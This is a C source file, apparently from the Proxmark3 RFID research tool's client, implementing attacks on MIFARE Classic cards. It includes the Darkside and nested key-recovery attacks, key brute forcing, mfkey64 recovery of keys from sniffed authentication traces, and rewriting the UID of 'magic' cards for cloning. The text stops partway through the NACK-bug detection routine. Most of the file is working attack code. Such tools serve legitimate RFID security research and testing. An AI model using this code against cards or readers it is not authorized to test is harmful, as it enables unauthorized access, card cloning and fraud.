// Merlok, 2011, 2012
// people from mifare@nethemba.com, 2010
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// mifare commands
//-----------------------------------------------------------------------------
#include "mifarehost.h"

int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) {
	uint32_t uid = 0;
	uint32_t nt = 0, nr = 0, ar = 0;
	uint64_t par_list = 0, ks_list = 0;
	uint64_t *keylist = NULL, *last_keylist = NULL;
	uint32_t keycount = 0;
	int16_t isOK = 0;
	
	UsbCommand c = {CMD_READER_MIFARE, {true, blockno, key_type}};

	// message
	PrintAndLogEx(NORMAL, "--------------------------------------------------------------------------------\n");
	PrintAndLogEx(NORMAL, "executing Darkside attack. Expected execution time: 25sec on average");
	PrintAndLogEx(NORMAL, "press pm3-button on the proxmark3 device to abort both proxmark3 and client.");
	PrintAndLogEx(NORMAL, "--------------------------------------------------------------------------------\n");

	while (true) {
		clearCommandBuffer();
		SendCommand(&c);

		//flush queue
		while (ukbhit()) { 
			int gc = getchar(); (void)gc; 
			return -5;
		}
		
		// wait cycle
		while (true) {
			printf("."); fflush(stdout);
			if (ukbhit()) {
				int gc = getchar(); (void)gc;
				return -5;
			}

			UsbCommand resp;
			if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {
				isOK  = resp.arg[0];
				if (isOK < 0) 
					return isOK;
				
				uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);
				nt = (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);
				par_list = bytes_to_num(resp.d.asBytes +  8, 8);
				ks_list = bytes_to_num(resp.d.asBytes +  16, 8);
				nr = (uint32_t)bytes_to_num(resp.d.asBytes + 24, 4);
				ar = (uint32_t)bytes_to_num(resp.d.asBytes + 28, 4);
				break;
			}
		}
		PrintAndLogEx(NORMAL, "\n");
		
		if (par_list == 0 && c.arg[0] == true) {
			PrintAndLogEx(SUCCESS, "Parity is all zero. Most likely this card sends NACK on every authentication.");
		}
		c.arg[0] = false;

		keycount = nonce2key(uid, nt, nr, ar, par_list, ks_list, &keylist);

		if (keycount == 0) {
			PrintAndLogEx(FAILED, "key not found (lfsr_common_prefix list is null). Nt=%08x", nt);
			PrintAndLogEx(FAILED, "this is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");
			continue;
		}

		// only parity zero attack
		if (par_list == 0 ) {
			qsort(keylist, keycount, sizeof(*keylist), compare_uint64);
			keycount = intersection(last_keylist, keylist);
			if (keycount == 0) {
				free(last_keylist);
				last_keylist = keylist;
				PrintAndLogEx(FAILED, "no candidates found, trying again");
				continue;
			}
		}

		PrintAndLogEx(SUCCESS, "found %u candidate key%s\n", keycount, (keycount > 1) ? "s." : ".");

		*key = -1;
		uint8_t keyBlock[USB_CMD_DATA_SIZE];
		int max_keys = USB_CMD_DATA_SIZE / 6;
		for (int i = 0; i < keycount; i += max_keys) {
			
			int size = keycount - i > max_keys ? max_keys : keycount - i;
			for (int j = 0; j < size; j++) {
				if (par_list == 0) {
					num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock+(j*6));
				} else {
					num_to_bytes(keylist[i*max_keys + j], 6, keyBlock+(j*6));
				}
			}
			
			if (!mfCheckKeys(blockno, key_type - 0x60, false, size, keyBlock, key)) {
				break;
			}
		}
		
		if (*key != -1) {
			break;
		} else {
			PrintAndLogEx(FAILED, "all candidate keys failed. Restarting darkside attack");
			free(last_keylist);
			last_keylist = keylist;
			c.arg[0] = true;
		}
	}
	free(last_keylist);
	free(keylist);
	return 0;
}
int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){
	*key = -1;	
	UsbCommand c = {CMD_MIFARE_CHKKEYS, { (blockNo | (keyType << 8)), clear_trace, keycnt}};
	memcpy(c.d.asBytes, keyBlock, 6 * keycnt);
	clearCommandBuffer();
	SendCommand(&c);
	UsbCommand resp;
	if (!WaitForResponseTimeout(CMD_ACK, &resp, 2500)) return 1;
	if ((resp.arg[0] & 0xff) != 0x01) return 2;
	*key = bytes_to_num(resp.d.asBytes, 6);
	return 0;
}

// Sends chunks of keys to device. 
// 0 == ok all keys found
// 1 == 
// 2 == Time-out, aborting
int mfCheckKeys_fast( uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy,
						uint32_t size, uint8_t *keyBlock, sector_t *e_sector) {

	uint64_t t2 = msclock();
	uint32_t timeout = 0;

	// send keychunk		
	UsbCommand c = {CMD_MIFARE_CHKKEYS_FAST, { (sectorsCnt | (firstChunk << 8) | (lastChunk << 12) ), strategy, size}};	
	memcpy(c.d.asBytes, keyBlock, 6 * size);
	clearCommandBuffer();
	SendCommand(&c);
	UsbCommand resp;

	while ( !WaitForResponseTimeout(CMD_ACK, &resp, 2000) ) {
		timeout++;
		printf("."); fflush(stdout);
		// max timeout for one chunk of 85keys, 60*3sec = 180seconds
		// s70 with 40*2 keys to check, 80*85 = 6800 auth.
		// takes about 97s, still some margin before abort
		if (timeout > 180) {
			PrintAndLogEx(NORMAL, "\n"); PrintAndLogEx(WARNING, "no response from Proxmark. Aborting...");
			return 2;
		}
	}
	t2 = msclock() - t2;

	// time to convert the returned data.
	uint8_t curr_keys = resp.arg[0];

	PrintAndLogEx(NORMAL, "\n[-] Chunk: %.1fs | found %u/%u keys (%u)", (float)(t2/1000.0), curr_keys, (sectorsCnt<<1), size);
		
	// all keys?		
	if ( curr_keys == sectorsCnt*2 || lastChunk ) {
		
		// success array. each byte is status of key 
		uint8_t arr[80];
		uint64_t foo = bytes_to_num(resp.d.asBytes+480, 8);
		for (uint8_t i = 0; i < 64;  ++i) {
			arr[i] = (foo >> i) & 0x1;
		}
		foo = bytes_to_num(resp.d.asBytes+488, 2);
		for (uint8_t i = 0; i < 16;  ++i) {
			arr[i+64] = (foo >> i) & 0x1;
		}

		// initialize storage for found keys
		icesector_t *tmp = NULL;
		tmp = calloc(sectorsCnt, sizeof(icesector_t));
		if (tmp == NULL)
			return 1;
		memcpy(tmp, resp.d.asBytes, sectorsCnt * sizeof(icesector_t) );

		for ( int i = 0; i < sectorsCnt; i++) {
			// key A
			if ( !e_sector[i].foundKey[0] ) {
				e_sector[i].Key[0] =  bytes_to_num( tmp[i].keyA, 6);
				e_sector[i].foundKey[0] = arr[ (i*2) ];
			}
			// key B
			if ( !e_sector[i].foundKey[1] ) {
				e_sector[i].Key[1] =  bytes_to_num( tmp[i].keyB, 6);
				e_sector[i].foundKey[1] = arr[ (i*2) + 1 ];
			}
		}
		free(tmp);
		
		if ( curr_keys == sectorsCnt*2 )
			return 0;
		if ( lastChunk )
			return 1;
	}
	return 1;
}

// PM3 imp of J-Run mf_key_brute (part 2)
// ref: https://github.com/J-Run/mf_key_brute
int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultkey){

	#define KEYS_IN_BLOCK 85
	#define KEYBLOCK_SIZE 510
	#define CANDIDATE_SIZE 0xFFFF * 6
	uint8_t found = false;
	uint64_t key64 = 0;
	uint8_t candidates[CANDIDATE_SIZE] = {0x00};
	uint8_t keyBlock[KEYBLOCK_SIZE] = {0x00};

	memset(candidates, 0, sizeof(candidates));
	memset(keyBlock, 0, sizeof(keyBlock));
	
	// Generate all possible keys for the first two unknown bytes.
	for (uint16_t i = 0; i < 0xFFFF; ++i) {		
		uint32_t j = i * 6;		
		candidates[0 + j] = i >> 8;	
		candidates[1 + j] = i;
		candidates[2 + j] = key[2];
		candidates[3 + j] = key[3];
		candidates[4 + j] = key[4];
		candidates[5 + j] = key[5];
	}
	uint32_t counter, i;
	for ( i = 0, counter = 1; i < CANDIDATE_SIZE; i += KEYBLOCK_SIZE, ++counter){

		key64 = 0;
		
		// copy candidatekeys to test key block
		memcpy(keyBlock, candidates + i, KEYBLOCK_SIZE);

		// check a block of generated candidate keys.
		if (!mfCheckKeys(blockNo, keyType, true, KEYS_IN_BLOCK, keyBlock, &key64)) {
			*resultkey = key64;
			found = true;
			break;
		}
		
		// progress 
		if ( counter % 20 == 0 )
			PrintAndLogEx(SUCCESS, "tried : %s.. \t %u keys", sprint_hex(candidates + i, 6),  counter * KEYS_IN_BLOCK  );
	}
	return found;
}

// Compare 16 Bits out of cryptostate
int Compare16Bits(const void * a, const void * b) {
	if ((*(uint64_t*)b & 0x00ff000000ff0000) == (*(uint64_t*)a & 0x00ff000000ff0000)) return 0;
	if ((*(uint64_t*)b & 0x00ff000000ff0000) > (*(uint64_t*)a & 0x00ff000000ff0000)) return 1;
	return -1;
}

// wrapper function for multi-threaded lfsr_recovery32
void
#ifdef __has_attribute
#if __has_attribute(force_align_arg_pointer)
__attribute__((force_align_arg_pointer)) 
#endif
#endif
*nested_worker_thread(void *arg) {
	struct Crypto1State *p1;
	StateList_t *statelist = arg;
	statelist->head.slhead = lfsr_recovery32(statelist->ks1, statelist->nt ^ statelist->uid);	
	
	for (p1 = statelist->head.slhead; *(uint64_t *)p1 != 0; p1++) {};
	
	statelist->len = p1 - statelist->head.slhead;
	statelist->tail.sltail = --p1;
	qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), Compare16Bits);
	
	return statelist->head.slhead;
}

int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * resultKey, bool calibrate) {
	uint16_t i;
	uint32_t uid;
	UsbCommand resp;
	StateList_t statelists[2];
	struct Crypto1State *p1, *p2, *p3, *p4;
	
	UsbCommand c = {CMD_MIFARE_NESTED, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, calibrate}};
	memcpy(c.d.asBytes, key, 6);
	clearCommandBuffer();
	SendCommand(&c);
	if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) return -1;

	// error during nested
	if (resp.arg[0]) return resp.arg[0];
	
	memcpy(&uid, resp.d.asBytes, 4);
		
	for (i = 0; i < 2; i++) {
		statelists[i].blockNo = resp.arg[2] & 0xff;
		statelists[i].keyType = (resp.arg[2] >> 8) & 0xff;
		statelists[i].uid = uid;
		memcpy(&statelists[i].nt,  (void *)(resp.d.asBytes + 4 + i * 8 + 0), 4);
		memcpy(&statelists[i].ks1, (void *)(resp.d.asBytes + 4 + i * 8 + 4), 4);
	}
	
	// calc keys	
	pthread_t thread_id[2];
		
	// create and run worker threads
	for (i = 0; i < 2; i++)
		pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]);

	// wait for threads to terminate:
	for (i = 0; i < 2; i++)
		pthread_join(thread_id[i], (void*)&statelists[i].head.slhead);

	// the first 16 Bits of the cryptostate already contain part of our key.
	// Create the intersection of the two lists based on these 16 Bits and
	// roll back the cryptostate
	p1 = p3 = statelists[0].head.slhead; 
	p2 = p4 = statelists[1].head.slhead;

	while (p1 <= statelists[0].tail.sltail && p2 <= statelists[1].tail.sltail) {
		if (Compare16Bits(p1, p2) == 0) {
			
			struct Crypto1State savestate, *savep = &savestate;
			savestate = *p1;
			while(Compare16Bits(p1, savep) == 0 && p1 <= statelists[0].tail.sltail) {
				*p3 = *p1;
				lfsr_rollback_word(p3, statelists[0].nt ^ statelists[0].uid, 0);
				p3++;
				p1++;
			}
			savestate = *p2;
			while(Compare16Bits(p2, savep) == 0 && p2 <= statelists[1].tail.sltail) {
				*p4 = *p2;
				lfsr_rollback_word(p4, statelists[1].nt ^ statelists[1].uid, 0);
				p4++;
				p2++;
			}
		}
		else {
			while (Compare16Bits(p1, p2) == -1) p1++;
			while (Compare16Bits(p1, p2) == 1) p2++;
		}
	}

	*(uint64_t*)p3 = -1;
	*(uint64_t*)p4 = -1;
	statelists[0].len = p3 - statelists[0].head.slhead;
	statelists[1].len = p4 - statelists[1].head.slhead;
	statelists[0].tail.sltail = --p3;
	statelists[1].tail.sltail = --p4;

	// the statelists now contain possible keys. The key we are searching for must be in the
	// intersection of both lists
	qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);
	qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);
	// Create the intersection
	statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);

	//statelists[0].tail.keytail = --p7;
	uint32_t keycnt = statelists[0].len;
	if ( keycnt == 0 ) goto out;

	memset(resultKey, 0, 6);
	uint64_t key64 = -1;

	// The list may still contain several key candidates. Test each of them with mfCheckKeys
	uint32_t max_keys = keycnt > (USB_CMD_DATA_SIZE/6) ? (USB_CMD_DATA_SIZE/6) : keycnt;
	uint8_t keyBlock[USB_CMD_DATA_SIZE] = {0x00};

	for (int i = 0; i < keycnt; i += max_keys) {
		
		int size = keycnt - i > max_keys ? max_keys : keycnt - i;
	
		for (int j = 0; j < size; j++) {
			crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);
			num_to_bytes(key64, 6, keyBlock + i * 6);
		}
		
		if (!mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64)) {		
			free(statelists[0].head.slhead);
			free(statelists[1].head.slhead);
			num_to_bytes(key64, 6, resultKey);

			PrintAndLogEx(SUCCESS, "target block:%3u key type: %c  -- found valid key [%012" PRIx64 "]",
				(uint16_t)resp.arg[2] & 0xff,
				(resp.arg[2] >> 8) ? 'B' : 'A',
				key64
			);
			return -5;
		}		
	}
	
out:
	PrintAndLogEx(SUCCESS, "target block:%3u key type: %c",
			(uint16_t)resp.arg[2] & 0xff,
			(resp.arg[2] >> 8) ? 'B' : 'A'
	);	

	free(statelists[0].head.slhead);
	free(statelists[1].head.slhead);
	return -4;
}

// EMULATOR
int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) {
	UsbCommand c = {CMD_MIFARE_EML_MEMGET, {blockNum, blocksCount, 0}};
	clearCommandBuffer();
 	SendCommand(&c);
	UsbCommand resp;
	if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) return 1;
	memcpy(data, resp.d.asBytes, blocksCount * 16);
	return 0;
}

int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount) {
	return mfEmlSetMem_xt(data, blockNum, blocksCount, 16);
}

int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth) {
	UsbCommand c = {CMD_MIFARE_EML_MEMSET, {blockNum, blocksCount, blockBtWidth}};
	memcpy(c.d.asBytes, data, blocksCount * blockBtWidth); 
	clearCommandBuffer();
	SendCommand(&c);
	return 0;
}

// "MAGIC" CARD
int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID, uint8_t wipecard) {

	uint8_t params = MAGIC_SINGLE;
	uint8_t block0[16];
	memset(block0, 0x00, sizeof(block0));

	int old = mfCGetBlock(0, block0, params);
	if (old == 0)
		PrintAndLogEx(SUCCESS, "old block 0:  %s", sprint_hex(block0, sizeof(block0)));
	else 
		PrintAndLogEx(FAILED, "couldn't get old data. Will write over the last bytes of Block 0.");	

	// fill in the new values
	// UID
	memcpy(block0, uid, 4); 
	// Mifare UID BCC
	block0[4] = block0[0] ^ block0[1] ^ block0[2] ^ block0[3];
	// mifare classic SAK(byte 5) and ATQA(byte 6 and 7, reversed)
	if ( sak != NULL )
		block0[5] = sak[0];
	
	if ( atqa != NULL ) {
		block0[6] = atqa[1];
		block0[7] = atqa[0];
	}
	PrintAndLogEx(SUCCESS, "new block 0:  %s", sprint_hex(block0,16));
	
	if ( wipecard )		 params |= MAGIC_WIPE;	
	if ( oldUID == NULL) params |= MAGIC_UID;
	
	return mfCSetBlock(0, block0, oldUID, params);
}

int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params) {

	uint8_t isOK = 0;
	UsbCommand c = {CMD_MIFARE_CSETBLOCK, {params, blockNo, 0}};
	memcpy(c.d.asBytes, data, 16); 
	clearCommandBuffer();
	SendCommand(&c);
	UsbCommand resp;
	if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
		isOK  = resp.arg[0] & 0xff;
		if (uid != NULL) 
			memcpy(uid, resp.d.asBytes, 4);
		if (!isOK) 
			return 2;
	} else {
		PrintAndLogEx(WARNING, "command execute timeout");
		return 1;
	}
	return 0;
}

int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params) {
	uint8_t isOK = 0;
	UsbCommand c = {CMD_MIFARE_CGETBLOCK, {params, blockNo, 0}};	
	clearCommandBuffer();
	SendCommand(&c);
	UsbCommand resp;
	if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
		isOK  = resp.arg[0] & 0xff;
		if (!isOK) 
			return 2;		
		memcpy(data, resp.d.asBytes, 16);
	} else {
		PrintAndLogEx(WARNING, "command execute timeout");
		return 1;
	}
	return 0;
}

// SNIFFER
// [iceman] so many global variables....

// constants
static uint8_t trailerAccessBytes[4] = {0x08, 0x77, 0x8F, 0x00};

// variables
char logHexFileName[FILE_PATH_SIZE] = {0x00};
static uint8_t traceCard[4096] = {0x00};
static char traceFileName[FILE_PATH_SIZE] = {0x00};
static int traceState = TRACE_IDLE;
static uint8_t traceCurBlock = 0;
static uint8_t traceCurKey = 0;

struct Crypto1State *traceCrypto1 = NULL;
struct Crypto1State *revstate = NULL;
uint64_t key = 0;
uint32_t ks2 = 0;
uint32_t ks3 = 0;

uint32_t cuid = 0;    // uid part used for crypto1.
uint32_t nt = 0;      // tag challenge
uint32_t nr_enc = 0;  // encrypted reader challenge
uint32_t ar_enc = 0;  // encrypted reader response
uint32_t at_enc = 0;  // encrypted tag response

int isTraceCardEmpty(void) {
	return ((traceCard[0] == 0) && (traceCard[1] == 0) && (traceCard[2] == 0) && (traceCard[3] == 0));
}

int isBlockEmpty(int blockN) {
	for (int i = 0; i < 16; i++) 
		if (traceCard[blockN * 16 + i] != 0) return 0;

	return 1;
}

int isBlockTrailer(int blockN) {
	return ((blockN & 0x03) == 0x03);
}

int loadTraceCard(uint8_t *tuid, uint8_t uidlen) {
	FILE * f;
	char buf[64] = {0x00};
	uint8_t buf8[64] = {0x00};
	int i, blockNum;
	uint32_t tmp;
	
	if (!isTraceCardEmpty()) 
		saveTraceCard();
		
	memset(traceCard, 0x00, 4096);
	memcpy(traceCard, tuid, uidlen);

	FillFileNameByUID(traceFileName, tuid, ".eml", uidlen);

	f = fopen(traceFileName, "r");
	if (!f) return 1;
	
	blockNum = 0;
		
	while (!feof(f)){
	
		memset(buf, 0, sizeof(buf));
		if (fgets(buf, sizeof(buf), f) == NULL) {
			PrintAndLogEx(FAILED, "No trace file found or reading error.");
			if (f) {
				fclose(f);
			}
			return 2;
		}

		if (strlen(buf) < 32){
			if (feof(f)) break;
			PrintAndLogEx(FAILED, "File content error. Block data must include 32 HEX symbols");
			if (f) {
				fclose(f);
			}
			return 2;
		}
		for (i = 0; i < 32; i += 2) {
			sscanf(&buf[i], "%02X", &tmp);
			buf8[i / 2] = tmp & 0xFF;
		}

		memcpy(traceCard + blockNum * 16, buf8, 16);

		blockNum++;
	}
	if (f) {
		fclose(f);
	}
	return 0;
}

int saveTraceCard(void) {
	
	if ((!strlen(traceFileName)) || (isTraceCardEmpty())) return 0;
	
	FILE * f;
	f = fopen(traceFileName, "w+");
	if ( !f ) return 1;

	// given 4096 tracecard size,  these loop will only match a 1024, 1kb card memory
	// 4086/16 == 256blocks. 
	for (uint16_t i = 0; i < 256; i++) {  // blocks
		for (uint8_t j = 0; j < 16; j++)  // bytes
			fprintf(f, "%02X", *(traceCard + i * 16 + j)); 
			
		// no extra line in the end
		if ( i < 255 )
			fprintf(f,"\n");
	}
	fflush(f);
	fclose(f);
	return 0;
}
//
int mfTraceInit(uint8_t *tuid, uint8_t uidlen, uint8_t *atqa, uint8_t sak, bool wantSaveToEmlFile) {

	if (traceCrypto1) 
		crypto1_destroy(traceCrypto1);

	traceCrypto1 = NULL;

	if (wantSaveToEmlFile) 
		loadTraceCard(tuid, uidlen);
		
	traceCard[4] = traceCard[0] ^ traceCard[1] ^ traceCard[2] ^ traceCard[3];
	traceCard[5] = sak;
	memcpy(&traceCard[6], atqa, 2);
	traceCurBlock = 0;
	cuid = bytes_to_num(tuid + (uidlen-4), 4);
	traceState = TRACE_IDLE;
	return 0;
}

void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool isEncrypted){
	uint8_t	bt = 0;
	int i;
	
	if (len != 1) {
		for (i = 0; i < len; i++)
			data[i] = crypto1_byte(pcs, 0x00, isEncrypted) ^ data[i];
	} else {
		bt = 0;		
		bt |= (crypto1_bit(pcs, 0, isEncrypted) ^ BIT(data[0], 0)) << 0;
		bt |= (crypto1_bit(pcs, 0, isEncrypted) ^ BIT(data[0], 1)) << 1;
		bt |= (crypto1_bit(pcs, 0, isEncrypted) ^ BIT(data[0], 2)) << 2;
		bt |= (crypto1_bit(pcs, 0, isEncrypted) ^ BIT(data[0], 3)) << 3;			
		data[0] = bt;
	}
}

int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {

	if (traceState == TRACE_ERROR)
		return 1;

	if (len > 255) {
		traceState = TRACE_ERROR;
		return 1;
	}
	
	uint8_t data[255];
	memset(data, 0x00, sizeof(data));
	
	memcpy(data, data_src, len);
	
	if ((traceCrypto1) && ((traceState == TRACE_IDLE) || (traceState > TRACE_AUTH_OK))) {
		mf_crypto1_decrypt(traceCrypto1, data, len, 0);
		PrintAndLogEx(NORMAL, "DEC| %s", sprint_hex(data, len));
		AddLogHex(logHexFileName, "DEC| ", data, len); 
	}
	
	switch (traceState) {
	case TRACE_IDLE: 
		// check packet crc16!
		if ((len >= 4) && (!check_crc(CRC_14443_A, data, len))) {
			PrintAndLogEx(NORMAL, "DEC| CRC ERROR!!!");
			AddLogLine(logHexFileName, "DEC| ", "CRC ERROR!!!"); 
			traceState = TRACE_ERROR;  // do not decrypt the next commands
			return 1;
		}
		
		// AUTHENTICATION
		if ((len == 4) && ((data[0] == MIFARE_AUTH_KEYA) || (data[0] == MIFARE_AUTH_KEYB))) {
			traceState = TRACE_AUTH1;
			traceCurBlock = data[1];
			traceCurKey = data[0] == 60 ? 1:0;
			return 0;
		}

		// READ
		if ((len == 4) && ((data[0] == ISO14443A_CMD_READBLOCK))) {
			traceState = TRACE_READ_DATA;
			traceCurBlock = data[1];
			return 0;
		}

		// WRITE
		if ((len == 4) && ((data[0] == ISO14443A_CMD_WRITEBLOCK))) {
			traceState = TRACE_WRITE_OK;
			traceCurBlock = data[1];
			return 0;
		}

		// HALT
		if ((len == 4) && ((data[0] == ISO14443A_CMD_HALT) && (data[1] == 0x00))) {
			traceState = TRACE_ERROR;  // do not decrypt the next commands
			return 0;
		}
		return 0;

	case TRACE_READ_DATA: 
		if (len == 18) {
			traceState = TRACE_IDLE;

			if (isBlockTrailer(traceCurBlock)) {
				memcpy(traceCard + traceCurBlock * 16 + 6, data + 6, 4);
			} else {
				memcpy(traceCard + traceCurBlock * 16, data, 16);
			}
			if (wantSaveToEmlFile) saveTraceCard();
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
		break;
	case TRACE_WRITE_OK: 
		if ((len == 1) && (data[0] == 0x0a)) {
			traceState = TRACE_WRITE_DATA;
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
		break;
	case TRACE_WRITE_DATA: 
		if (len == 18) {
			traceState = TRACE_IDLE;
			memcpy(traceCard + traceCurBlock * 16, data, 16);
			if (wantSaveToEmlFile) saveTraceCard();
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
		break;
	case TRACE_AUTH1: 
		if (len == 4) {
			traceState = TRACE_AUTH2;
			nt = bytes_to_num(data, 4);
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
		break;
	case TRACE_AUTH2: 
		if (len == 8) {
			traceState = TRACE_AUTH_OK;
			nr_enc = bytes_to_num(data, 4);
			ar_enc = bytes_to_num(data + 4, 4);
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
		break;
	case TRACE_AUTH_OK: 
		if (len == 4) {
			traceState = TRACE_IDLE;
			at_enc = bytes_to_num(data, 4);
			
			//  mfkey64 recover key.
			ks2 = ar_enc ^ prng_successor(nt, 64);
			ks3 = at_enc ^ prng_successor(nt, 96);
			revstate = lfsr_recovery64(ks2, ks3);
			lfsr_rollback_word(revstate, 0, 0);
			lfsr_rollback_word(revstate, 0, 0);
			lfsr_rollback_word(revstate, nr_enc, 1);
			lfsr_rollback_word(revstate, cuid ^ nt, 0);
			crypto1_get_lfsr(revstate, &key);
			PrintAndLogEx(SUCCESS, "found Key: [%012" PRIx64 "]", key);
			
			//if ( tryMfk64(cuid, nt, nr_enc, ar_enc, at_enc, &key) )
			AddLogUint64(logHexFileName, "Found Key: ", key); 
			
			int blockShift = ((traceCurBlock & 0xFC) + 3) * 16;
			if (isBlockEmpty((traceCurBlock & 0xFC) + 3)) 
				memcpy(traceCard + blockShift + 6, trailerAccessBytes, 4);
			
			// keytype A/B
			if (traceCurKey)
				num_to_bytes(key, 6, traceCard + blockShift + 10);
			else
				num_to_bytes(key, 6, traceCard + blockShift);
			
			if (wantSaveToEmlFile)
				saveTraceCard();

			if (traceCrypto1)
				crypto1_destroy(traceCrypto1);
			
			// set cryptosystem state
			traceCrypto1 = lfsr_recovery64(ks2, ks3);			

		} else {
			PrintAndLogEx(NORMAL, "[!] nested key recovery not implemented!\n");
			at_enc = bytes_to_num(data, 4);
			crypto1_destroy(traceCrypto1);			
			traceState = TRACE_ERROR;
		}
		break;
	default: 
		traceState = TRACE_ERROR;
		return 1;
	}
	return 0;
}

int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len){
	PrintAndLogEx(NORMAL, "\n"); PrintAndLogEx(SUCCESS, "encrypted data: [%s]", sprint_hex(data, len) );
	struct Crypto1State *s;
	ks2 = ar_enc ^ prng_successor(nt, 64);
	ks3 = at_enc ^ prng_successor(nt, 96);
	s = lfsr_recovery64(ks2, ks3);
	mf_crypto1_decrypt(s, data, len, false);
	PrintAndLogEx(SUCCESS, "decrypted data: [%s]", sprint_hex(data, len) );
	crypto1_destroy(s);
	return 0;
}

/* Detect Tag Prng, 
* function performs a partial AUTH,  where it tries to authenticate against block0, key A, but only collects tag nonce.
* the tag nonce is check to see if it has a predictable PRNG.
* @returns 
*	TRUE if tag uses WEAK prng (ie Now the NACK bug also needs to be present for Darkside attack)
*   FALSE is tag uses HARDEND prng (ie hardnested attack possible, with known key)
*/
int detect_classic_prng(void){

	UsbCommand resp, respA;	
	uint8_t cmd[] = {MIFARE_AUTH_KEYA, 0x00};
	uint32_t flags = ISO14A_CONNECT | ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_RATS;
	
	UsbCommand c = {CMD_READER_ISO_14443a, {flags, sizeof(cmd), 0}};
	memcpy(c.d.asBytes, cmd, sizeof(cmd));

	clearCommandBuffer();
	SendCommand(&c);					
	
	if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {
        PrintAndLogEx(WARNING, "PRNG UID: Reply timeout.");
		return -1;
	}
		
	// if select tag failed.
	if ( resp.arg[0] == 0 ) {
		PrintAndLogEx(WARNING, "error:  selecting tag failed,  can't detect prng\n");
		return -2;
	}
	if (!WaitForResponseTimeout(CMD_ACK, &respA, 2500)) {
        PrintAndLogEx(WARNING, "PRNG data: Reply timeout.");
		return -3;
	}

	// check respA
	if (respA.arg[0] != 4) {
		PrintAndLogEx(WARNING, "PRNG data error: Wrong length: %d", respA.arg[0]);
		return -4;
	}			

	uint32_t nonce = bytes_to_num(respA.d.asBytes, respA.arg[0]);
	return validate_prng_nonce(nonce);
}
/* Detect Mifare Classic NACK bug 

returns:
0 = error during test / aborted
1 = has nack bug
2 = has not nack bug
3 = always leak nacks  (clones)
*/
int detect_classic_nackbug(bool verbose){
	
	UsbCommand c = {CMD_MIFARE_NACK_DETECT, {0, 0, 0}};
	clearCommandBuffer();
	SendCommand(&c);
	UsbCommand resp;
	
	if ( verbose )
		PrintAndLogEx(SUCCESS, "press pm3-button on the proxmark3 device to abort both proxmark3 and client.\n");
	
	// for nice animation	
	bool term = !isatty(STDIN_FILENO);
#if defined(__linux__) || (__APPLE__)
	char star[] = {'-', '\\', '|', '/'};
	uint8_t staridx = 0;	
#endif 

	while (true) {

		if (term) {		
			printf(".");
		} else {
			printf(
			#if defined(__linux__) || (__APPLE__)
			"\e[32m\e[s%c\e[u\e[0m", star[ (staridx++ % 4) ]
			#else
			"."
			#endif
			);
		}
		fflush(stdout);
		if (ukbhit()) {
			int gc = getchar(); (void)gc;
			return -1;
			break;
		}
	
		if (WaitForResponseTimeout(CMD_ACK, &resp, 500)) {
			int32_t ok = resp.arg[0];
			uint32_t nacks = resp.arg[1];
			uint32_t auths = resp.arg[2];
			PrintAndLogEx(NORMAL, "");
			
			if ( verbose ) {
				PrintAndLogEx(SUCCESS, "num of auth requests  : %u", auths);
				PrintAndLogEx(SUCCESS, "num of received NACK  : %u", nacks);
			}
			switch( ok ) {
				case 99 : PrintAndLogEx(WARNING, "button pressed. Aborted."); return 0;
				case 96 : 
				case 98 : { 
							if (verbose)
								PrintAndLogEx(FAILED, "card random number generator is not predictable.");
							PrintAndLogEx(WARNING, "detection failed");
							return 2;
						}
				case 97 : {
							if (verbose) {
								PrintAndLogEx(FAILED, "card random number generator seems to be based on the well-known generating polynomial");
								PrintAndLogEx(NORMAL, "[- ]with 16 effective bits only, but shows unexpected behavior, try again."); 
								return 0;
							}
						}				
				case  2 : PrintAndLogEx(SUCCESS, "always leak NACK detected"); return 3;
				case  1 : PrintAndLogEx(SUCCESS, "NACK bug detected"); return 1;
